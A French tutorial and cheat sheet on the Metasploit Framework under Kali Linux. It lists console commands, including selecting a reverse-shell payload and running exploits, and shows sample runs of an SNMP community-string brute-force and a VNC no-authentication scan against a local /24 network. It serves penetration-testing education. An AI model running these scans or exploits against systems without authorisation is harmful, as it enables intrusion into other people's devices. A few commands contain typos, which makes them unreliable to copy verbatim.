Comment utiliser Metasploit avec Kali Linux – Guide complet
- Mise à jour le 12 avril 2025
Metasploit Framework est une boite à outils qui permet de développer et exécuter des exploits (logiciels permettant d'exploiter à son profit une vulnérabilité) sur une ou plusieurs machines distantes.
L'outil est préinstallé dans la distribution Kali Linux.
- Il donne accès à plusieurs types de modules :
- Exploit : code développé pour tirer parti d'une vulnérabilité précise
- Payload : code malveillant destiné à faire partie d'un exploit ou compilé indépendamment pour exécuter des commandes arbitraires sur le système cible
- Auxiliaries : ensemble d'outils dont le but est d'effectuer des opérations de scan, de sniffing, empreintes systèmes…
- Encoders : permet d'échapper à la détection des antivirus, des pare-feu, des IDS/IPS et d'autres défenses contre les logiciels malveillants en chiffrant la charge utile pendant l'opération de pénétration
- Lien vers la base de données de Vulnérabilités & d'Exploits : https://www.rapid7.com/.
- Kali Linux Release : 2022.2
Commandes
Principale
- Accéder à la console msf :
kali@kali:~$ sudo msfconsole
- Lister les commandes disponibles :
msf6 > help
- Afficher les modules auxiliary :
msf6 > show auxiliary
- Afficher les exploits :
msf6 > show exploits
- Afficher les payloads :
msf6 > show payloads
- Afficher les encoders :
msf6 > show encoders
- Afficher les générateurs NOP :
msf6 > show nops
- Afficher les paramètres et les options disponibles d'un module :
msf6 > show options
- Afficher la liste des OS cibles supportés :
msf6 > show targets
- Afficher les options pour un ou plusieurs modules :
msf6 > show options
- Revenir en arrière :
msf6 > back
- Afficher et gérer les tâches :
msf6 > jobs
- Équivalent des outils netcat et telnet :
msf6 > connect [ip] [port]
Base de données PostgreSQL
Metasploit Framework peut fonctionner avec PostgreSQL dans le but de sauvegarder les scans de ports et de vulnérabilités.
- Accéder à la console msf :
kali@kali:~$ sudo msfconsole
- Initialiser, Démarrer et se Connecter :
msf6 > msfdb init
msf6 > db_connect -y /usr/share/metasploit-framework/config/database.yml
- Afficher l'état du service de base de données :
msf6 > db_status
- Lister les hôtes présents dans la base de données :
msf6 > hosts
- Lister les services présents dans la base de données :
msf6 > services
Recherche
- Rechercher un exploit pour les système linux :
msf6 > search name:linux type:exploit
- Appliquer un filtre tcp sur la recherche des systèmes linux :
msf6 > grep tcp search name:linux
Info
- Obtenir des informations sur l'exploit :
msf6 > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index
Set
- Sélectionner le payload :
msf6 > set payloads payload/linux/x64/shell_reverse_tcp
- Paramétrer la variable :
msf6 > set RHOST kali.shebangthedolphins.net
- Paramétrer une variable globale :
msf6 > setg RHOST kali.shebangthedolphins.net
- Réinitialiser une variable :
msf6 > unset RHOST
msf6 > unsetg RHOST
msf6 > unset all
Use
- Choisir un exploit :
msf6 > use exploit/multi/http/strsuts2_namespace_ognl
Scans
- Lancer un scan nmap et enregistrer les résultats dans la base de données :
msf6 > db_nmap -T Aggressive -sV -n -O -v kali.shebangthedolphins.net
Exploit
- Tester et vérifier l'exploit :
msf6 > check
- Lancer l'exploit :
msf6 > exploit
Auxiliary
- Lancer l'auxiliary :
msf6 > run
Exemples
Scénario 1 : SNMP
- Chercher un outil SNMP :
msf6 > grep -i community search snmp
24 auxiliary/scanner/snmp/snmp_login normal No SNMP Community Login Scanner
- Choisir l'auxiliary :
msf6 > use auxiliary/scanner/snmp/snmp_login
- Afficher les paramètres de l'auxiliary :
msf6 auxiliary(scanner/snmp/snmp_login) > show options
Module options (auxiliary/scanner/snmp/snmp_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD no The password to test
PASS_FILE /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt no File containing communities, one per line
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 161 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USER_AS_PASS false no Try the username as the password for all users
VERBOSE true yes Whether to print output for all attempts
VERSION 1 yes The SNMP version to scan (Accepted: 1, 2c, all)
- Paramétrer la variable RHOSTS pour scanner le réseau 192.168.1.0/24 :
msf6 auxiliary(scanner/snmp/snmp_login) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
- Paramétrer la variable THREADS (nombre de tâches simultanées) à 254 :
msf6 auxiliary(scanner/snmp/snmp_login) > set THREADS 254
THREADS => 254
- Lancer l'exploit :
msf6 auxiliary(scanner/snmp/snmp_login) > run
[+] SNMP: 192.168.1.2 community string: 'public' info: 'GSM7224 L2 Managed Gigabit Switch'
[+] SNMP: 192.168.1.199 community string: 'public' info: 'HP ETHERNET MULTI-ENVIRONMENT'
[+] SNMP: 192.168.1.2 community string: 'private' info: 'GSM7224 L2 Managed Gigabit Switch'
[+] SNMP: 192.168.1.199 community string: 'private' info: 'HP ETHERNET MULTI-ENVIRONMENT'
[*] Validating scan results from 2 hosts...
[*] Host 192.168.1.199 provides READ-WRITE access with community 'internal'
[*] Host 192.168.1.199 provides READ-WRITE access with community 'private'
[*] Host 192.168.1.199 provides READ-WRITE access with community 'public'
[*] Host 192.168.1.2 provides READ-WRITE access with community 'private'
[*] Host 192.168.1.2 provides READ-ONLY access with community 'public'
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
Scénario 2 : VNC
Ici nous cherchons des serveurs vnc sans mot de passe dans le réseau 192.168.1.0/24.
- Chercher l'exploit VNC :
msf6 > search vnc_none_auth
atching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/vnc/vnc_none_auth normal No VNC Authentication None Detection
- Choisir l'auxiliary :
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
- Afficher les paramètres auxiliary :
msf6 auxiliary(scanner/snmp/snmp_login) > show options
Module options (auxiliary/scanner/vnc/vnc_none_auth):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 5900 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
- Paramétrer la variable RHOSTS afin de scanner le réseau 192.168.1.0/24 :
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
- Paramétrer la variable THREADS (nombre de tâches simultanées) à 254 :
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set THREADS 254
THREADS => 254
- Lancer l'exploit :
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
[*] 192.168.1.143:5900 - 192.168.1.143:5900 - VNC server protocol version: 3.8
[*] 192.168.1.143:5900 - 192.168.1.143:5900 - VNC server security types supported: None
[+] 192.168.1.143:5900 - 192.168.1.143:5900 - VNC server security types includes None, free access!
[*] 192.168.1.0/24:5900 - Scanned 30 of 256 hosts (11% complete)
[*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 252 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 253 of 256 hosts (98% complete)
[*] 192.168.1.0/24:5900 - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed